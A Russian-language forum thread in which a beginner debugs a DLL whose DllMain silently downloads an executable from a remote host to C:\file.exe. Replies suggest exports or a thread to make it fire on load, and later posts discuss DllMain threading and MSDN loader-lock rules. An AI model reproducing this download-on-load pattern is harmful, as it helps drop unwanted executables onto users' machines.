Написал простой загрузчик DLL: Код (Text): #include <stdio.h> #include <windows.h> int main() { HINSTANCE hDll = 0; hDll = LoadLibrary("1.dll"); if(hDll == NULL) { printf("ERROR.\n"); return 1; } return 0; } И сама DLL: Код (Text): #include <urlmon.h> #include <shellapi.h> #pragma comment(lib, "urlmon.lib") #pragma comment(lib, "shell32.lib") BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { URLDownloadToFile( NULL, "http://ip3e83566f.speed.planet.nl/1.exe", "C:\\file.exe", 0, NULL ); MessageBox(NULL, "Done. :)", "Message", MB_OK); FreeLibrary(GetModuleHandle("DLL.dll")); return TRUE; } Кароче при подгрузке DLL ничего не происходит. Хотя если просто мессаджбокс то работает. В чем проблема можете объяснить?
Возможно причина в том, что ф-ция URLDownloadToFile работает асинхронно, т. е. она начинает качать файл, а в это время вызывается MessageBox для вызова задержки, вроде всё нормально, но у меня тоже были проблемы, когда я долго не возвращался из DllEntry, возможно система ставит Timeout на загрузку библиотеки, и если в течении этого времени функция не возвращает TRUE, dll не загружается. Еще один момент, я думаю не стоит вызывать FreeLibrary прямо в DllEntry, к тому же эта ф-ция вызывается 4 раза с разным параметром fdwReason: DLL_PROCESS_ATTACH DLL_THREAD_ATTACH DLL_THREAD_DETACH DLL_PROCESS_DETACH И вместо GetModuleHandle("DLL.dll") лучше использовать параметр hModule.
Rx_ Хотя если просто мессаджбокс то работает. Т.е., если ты не вызываешь URLDownloadToFile, то мессаджбокс срабатывает? не стоит вызывать FreeLibrary прямо в DllEntry Логично это сделать в твоем загрузчике.
Забыл сказать моя DLL ничего не экспортирует. Может из-за этого ничего не работает? Спасибки за асм код, но мне надо на ц++ =))
Rx_ а ты считаешь, что это сложно переписать на си? там кода-то пара строк... 1. экспорт из длл конечно нужен 2. не делай работу в самой DllMain
Перенес URLDownloadToFile() в экспортирующую функцию и через GetProcAddress() все запускается. Хотя конечно хотелось чтоб URLDownloadToFile() запускалась сразу при подгрузке DLLа. Просто я еще нуб в кодинге =))
Rx_ Если очень хочется, то создавай в DllMain отдельный поток(CreateThread) и вызывай в нём URLDownloadToFile().
Неа не катит. Вот код: Код (Text): #include <windows.h> #include <strsafe.h> #define MAX_THREADS 3 typedef struct _MyData { int val1; int val2; } MYDATA, *PMYDATA; DWORD WINAPI ThreadProc( LPVOID lpParam ) { MessageBox(NULL, "Hey you!", "Message", MB_OK); return 0; } BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { int i; DWORD dwThreadId[MAX_THREADS]; HANDLE hThread[MAX_THREADS]; switch(fdwReason) { case DLL_PROCESS_ATTACH: for( i=0; i<MAX_THREADS; i++ ) { hThread[i] = CreateThread( NULL, // default security attributes 0, // use default stack size ThreadProc, // thread function NULL, // argument to thread function 0, // use default creation flags &dwThreadId[i]); // returns the thread identifier if (hThread[i] == NULL) ExitProcess(i); } // WaitForMultipleObjects(MAX_THREADS, hThread, TRUE, INFINITE); Sleep(5000); for(i=0; i<MAX_THREADS; i++) CloseHandle(hThread[i]); MessageBox(NULL, "Process attached.", "Message", MB_OK | MB_ICONINFORMATION); break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; case DLL_PROCESS_DETACH: MessageBox(NULL, "Process detached.", "Message", MB_OK | MB_ICONINFORMATION); break; } return TRUE; } По идее при подгрузке DLL должны запуститца 3 мессаджбокса одновременно, но ничего не происходит =((
Хм, странно. Такой вот код работать не хочет: Код (Text): .data thread db 'thread',0 dll_main db 'dll_main',0 thdet db 'thread attach',0 .data? threadid dd ? .code DllEntry proc hInstDLL:HINSTANCE,reason:DWORD,reserved1:DWORD mov eax,reason .if eax==DLL_PROCESS_ATTACH pushad lea esi,NewThread invoke CreateThread,0,0,\ esi,0,0,addr threadid invoke MessageBox,0,addr dll_main,0,0 popad mov eax,TRUE ret ;.elseif eax==DLL_THREAD_ATTACH ;invoke MessageBox,0,addr thdet,0,0 .endif mov eax,TRUE ret DllEntry Endp NewThread : invoke MessageBox,0,addr thread,0,0 ret End DllEntry Как мне казалось, должен появляться MessageBox 'thread', и 'dll_main'. А вызывается только 'dll_main', и только после нажатия на ок 'thread'. Почему так? Ещё выдержка из MSDN Warning On attach, the body of your DLL entry-point function should perform only simple initialization tasks, such as setting up thread local storage (TLS), creating objects, and opening files. You must not call LoadLibrary in the entry-point function, because you may create dependency loops in the DLL load order. This can result in a DLL being used before the system has executed its initialization code. Similarly, you must not call the FreeLibrary function in the entry-point function on detach, because this can result in a DLL being used after the system has executed its termination code. Calling Win32 functions other than TLS, object-creation, and file functions may result in problems that are difficult to diagnose. For example, calling User, Shell, COM, RPC, and Windows Sockets functions (or any functions that call these functions) can cause access violation errors, because their DLLs call LoadLibrary to load other system components. While it is acceptable to create synchronization objects in DllMain, you should not perform synchronization in DllMain (or a function called by DllMain) because all calls to DllMain are serialized. Waiting on synchronization objects in DllMain can cause a deadlock. To provide more complex initialization, create an initialization routine for the DLL. You can require applications to call the initialization routine before calling any other routines in the DLL. Otherwise, you can have the initialization routine create a named mutex, and have each routine in the DLL call the initialization routine if the mutex does not exist.
asd, на все 100% не могу быть уверен, но чтоб вызывать функцию прога сначало загружает dll - соответственно сработывает DLL_PROCESS_ATTACH.
Ну так, я CreateThread и вызываю в DLL_PROCESS_ATTACH, а DLL_THREAD_ATTACH закомментирована. Если раскомментировать, то получим последовательно 'dll_main','thread attach','thread'.
В MSDN сказано что в DllMain всё выполняется последовательно. И если будет функция которая выполняется ассинхронно, то cause a deadlock.